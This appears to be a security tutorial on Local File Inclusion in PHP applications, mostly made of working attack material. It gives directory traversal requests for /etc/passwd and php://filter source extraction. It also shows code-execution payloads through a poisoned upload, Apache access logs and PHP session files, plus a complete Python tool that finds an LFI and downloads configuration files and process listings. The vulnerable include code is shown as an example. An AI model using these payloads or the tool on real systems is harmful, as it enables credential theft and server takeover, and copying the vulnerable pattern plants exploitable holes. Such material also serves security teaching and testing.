Local File Inclusion (LFI) attacks can occur if a web application references a file on disk based on user supplied input. LFI attacks can be used to reveal sensitive information such as credentials in configuration files and may lead to remote code execution.
For instance, the below PHP code is vulnerable to LFI in the page parameter. An attacker can exploit this to reveal other files on disk.
1 2 3 4 5 6 7 8 9 10 11 | <?php $page = $_GET [ 'page' ]; if (isset( $page )) { include ( "pages/$page" ); } else { print "Welcome!" ; } ?> |
System Enumeration
Retrieving Configuration Files
A basic directory traversal attack can be carried out to reveal the contents of /etc/passwd;
1 2 3 4 5 6 7 8 | curl "http://127.0.0.1/index.php?page=../../../../../etc/passwd" root:x:0:0:root: /root : /usr/bin/zsh daemon:x:1:1:daemon: /usr/sbin : /usr/sbin/nologin bin:x:2:2:bin: /bin : /usr/sbin/nologin sys:x:3:3:sys: /dev : /usr/sbin/nologin sync :x:4:65534: sync : /bin : /bin/sync games:x:5:60:games: /usr/games : /usr/sbin/nologin man :x:6:12: man : /var/cache/man : /usr/sbin/nologin |
The application may filter strings passed to it, such as excluding “../” characters, as such it’s worth attempting directory traversal using a number of encoding techniques.
A Python application that attempts to identify LFI in GET requests is listed at the end of this article.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | python3 lfi_tool.py -u "http://127.0.0.1/index.php?page=FUZZ" -o captured_files Checking for working LFI... Found /etc/passwd LFI: ../../../../{FILE} Getting baseline response... Filtered response size: 0 Fetching /proc/self/cmdline /usr/sbin/apache2 -k start Fetching process listing Downloading common files Done! ┌──(kali㉿kali)-[~ /LFI ] └─$ ls -la captured_files total 7400 drwxr-xr-x 2 kali kali 4096 Apr 12 18:20 . drwxr-xr-x 4 kali kali 4096 Apr 12 18:18 .. -rw-r--r-- 1 kali kali 3040 Apr 12 18:20 _etc_adduser.conf -rw-r--r-- 1 kali kali 7178 Apr 12 18:20 _etc_apache2_apache2.conf -rw-r--r-- 1 kali kali 1782 Apr 12 18:20 _etc_apache2_envvars -rw-r--r-- 1 kali kali 3208 Apr 12 18:20 _etc_apache2_mods-available_autoindex.conf -rw-r--r-- 1 kali kali 370 Apr 12 18:20 _etc_apache2_mods-available_deflate.conf |
Retrieving Process Listings
The proc virtual filesystem on Linux lists the command used to execute each process in the cmdline entry. For example;
1 2 3 4 | cat /proc/1/cmdline /sbin/initsplash cat /proc/11286/cmdline /usr/sbin/apache2-kstart |
This can be useful to identify other potentially vulnerable applications running on the host.
PHP Conversion Filters
When attempting to extract the source code of PHP files, the contents of the files may be executed rather than showing the actual source code. To get around this, PHP conversion filters can be used. As the name suggests, they are normally used to convert input, but can also be used to prevent code from executing before it’s transmitted.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | curl "http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=index.php" PD9waHAKICAgJHBhZ2UgPSAkX0dFVFsncGFnZSddOwogICBpZihpc3NldCgkcGFnZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoInBhZ2VzLyRwYWdlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBwcmludCAiV2VsY29tZSEiOwogICB9Cj8+Cg== echo PD9waHAKICAgJHBhZ2UgPSAkX0dFVFsncGFnZSddOwogICBpZihpc3NldCgkcGFnZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoInBhZ2VzLyRwYWdlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBwcmludCAiV2VsY29tZSEiOwogICB9Cj8+Cg== | base64 -d <?php $page = $_GET['page']; if(isset($page)) { include("pages/$page"); } else { print "Welcome!"; } ?> |
Remote Code Execution
For remote code execution, an adversary would need to upload some code to the server that can be referenced through the LFI vulnerability. For this to work, PHP functions such as include() or require() would need to be used in the code.
Uploading the code to be executed could be done in a number of ways.
Exploiting a File Upload Vulnerability
If the target application allows uploading files, such as profile images it might be possible to include PHP code within the uploaded file. E.g
1 2 3 | ┌──(kali㉿kali)-[ /var/www/html/uploads ] └─$ cat image.jpg <?php system( 'id' );?> |
This code can then be referenced and executed through the LFI vulnerability;
1 2 | curl "http://127.0.0.1/index.php?page=.../../../../../../../../../../var/www/html/uploads/image.jpg" uid=33(www-data) gid=33(www-data) groups =33(www-data) |
Log File Poisoning
Apache log files typically record the page being accessed, and the client user agent. We can insert PHP code into our user agent, then use the LFI to load the code stored in the log file.
1 2 3 | curl "http://127.0.0.1/index.php?page=.../../../../../../../../../../var/log/apache2/access.log" --user-agent "<?php system('id');?>" 127.0.0.1 - - [12 /Apr/2023 :12:48:07 +0100] "GET /index.php?page=.../../../../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 3612 "-" "uid=33(www-data) gid=33(www-data) groups =33(www-data) |
PHP Session Cookie Poisoning
If an adversary can include code within a session cookie, this could be executed using the LFI vulnerability. For instance, the following PHP code sets a session cookie based on a user supplied language parameter.
1 2 3 4 5 6 7 8 9 10 11 | <?php session_start(); $_SESSION [ "language" ] = "english" ; $language = $_GET [ 'lang' ]; if (isset( $language )) { $_SESSION [ "language" ] = $language ; } ?> |
Visting the page, we can see the session cookie being set;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | curl -v "http://127.0.0.1/cookie.php" * Trying 127.0.0.1:80... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > GET /cookie.php HTTP/1.1 > Host: 127.0.0.1 > User-Agent: curl/7.88.1 > Accept: */* > < HTTP/1.1 200 OK < Server: Apache/2.4.56 (Debian) < Set-Cookie: PHPSESSID=t3m00bnbkdlreeo77uidlmj916; path=/ < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 |
The contents of the cookie are stored on the server under /var/lib/php/sessions/;
1 2 | cat /var/lib/php/sessions/sess_t3m00bnbkdlreeo77uidlmj916 language|s:7:"english"; |
So, by sending a request to set the cookie contents, we can then call the cookie file using the LFI to execute the code;
1 2 3 | curl - v "http://127.0.0.1/cookie.php?lang=%3C?php%20system('id');?%3E" curl "http://127.0.0.1/index.php?page=.../../../../../../../../../..//var/lib/php/sessions/sess_7ler85dekipojhfrp1uuhntv6r" language|s:21:"uid=33(www-data) gid=33(www-data) groups =33(www-data) |
LFI Exploit Code
The below attempts to identify a vulnerable parameter, and if found it downloads all common configuration files from the host.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | import requests import urllib3.util.url as urllib3_url import argparse import os.path from colorama import Fore, Back, Style CONSOLE_ARGUMENTS = None FILTERED_RESPONSE_SIZE = None lfi_list = '/usr/share/wordlists/wfuzz/vulns/dirTraversal.txt' common_files = '/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt' def hook_invalid_chars(component, allowed_chars): # Don't perform any URL encoding return component urllib3_url._encode_invalid_chars = hook_invalid_chars def make_request(url, lfi): target_url = url.replace( 'FUZZ' ,lfi) headers = { "User-Agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" , "Accept-Language" : "en-US,en;q=0.5" , "Accept-Encoding" : "gzip, deflate" } response = requests.get(url = target_url , headers = headers) return response.content def fetch_file(url,found_lfi,filename,save_file): lfi_path = found_lfi.replace( '{FILE}' ,filename) response = make_request(url,lfi_path.strip()) if FILTERED_RESPONSE_SIZE is None : return response else : if len (response) ! = FILTERED_RESPONSE_SIZE: if save_file is True : write_file(filename,response) else : return response def find_lfi(wordlist,url): with open (wordlist) as fuzzFile: for lfi in fuzzFile: lfi_path = lfi.replace( '{FILE}' , '/etc/passwd' ) response = make_request(url,lfi_path.strip()) if '/usr/sbin/nologin' in str (response): return lfi return False def download_common_files(url,found_lfi,output_path): with open (common_files) as fuzzFile: for filename in fuzzFile: fetch_file(url,found_lfi,filename, True ) def write_file(filename,filecontents): filename = filename.replace( '/' , '_' ) filename = str (filename).strip() #print(filename) completeName = os.path.join(CONSOLE_ARGUMENTS.output, filename) f = open (completeName, "w" ) f.write(filecontents.decode( 'utf8' , errors = 'replace' )) f.close() def main(): parser = argparse.ArgumentParser() parser.add_argument( "-u" , '--url' , type = str , required = True , help = "Target URL containing FUZZ marker. E.g http://127.0.0.1:8000/?page=FUZZ" ) parser.add_argument( "-o" , '--output' , type = str , required = True , help = "Output directory" ) args = parser.parse_args() global CONSOLE_ARGUMENTS CONSOLE_ARGUMENTS = args if 'FUZZ' not in args.url: print ( "No fuzzing marker in URL" ) quit() global FILTERED_RESPONSE_SIZE print (Fore.GREEN + "Checking for working LFI..." , end = '') print (Style.RESET_ALL) found_lfi = find_lfi(lfi_list,args.url) if found_lfi is not False : print ( "Found /etc/passwd LFI: " + found_lfi,end = '') else : print (Fore.RED + "No LFI found. Exiting." , end = '') quit() print (Fore.GREEN + "Getting baseline response..." , end = '') print (Style.RESET_ALL) non_existant_file = '/bordergate' response = fetch_file(args.url,found_lfi,non_existant_file, False ) print ( "Filtered response size: " + str ( len (response))) FILTERED_RESPONSE_SIZE = len (response) print (Fore.GREEN + "Fetching /proc/self/cmdline" , end = '') print (Style.RESET_ALL) cmdline = '/proc/self/cmdline' response = fetch_file(args.url,found_lfi,cmdline, False ) if response is not None : process = response.replace(b '\x00' ,b ' ' ).decode( 'ascii' ) print (process) print (Fore.GREEN + "Fetching process listing" , end = '') print (Style.RESET_ALL) for x in range ( 1 , 2500 ): cmdline = '/proc/' + str (x) + '/cmdline' response = fetch_file(args.url,found_lfi,cmdline, False ) if response is not None : process = response.replace(b '\x00' ,b ' ' ).decode( 'ascii' ) with open ( "process_listing.txt" , "a" ) as f: f.write(process + "\n" ) print (Fore.GREEN + "Downloading common files" ,end = '') print (Style.RESET_ALL) output_path = args.output isExist = os.path.exists(output_path) if not isExist: os.makedirs(output_path) download_common_files(args.url,found_lfi,output_path) print ( "Done!" ) if __name__ = = "__main__" : main() |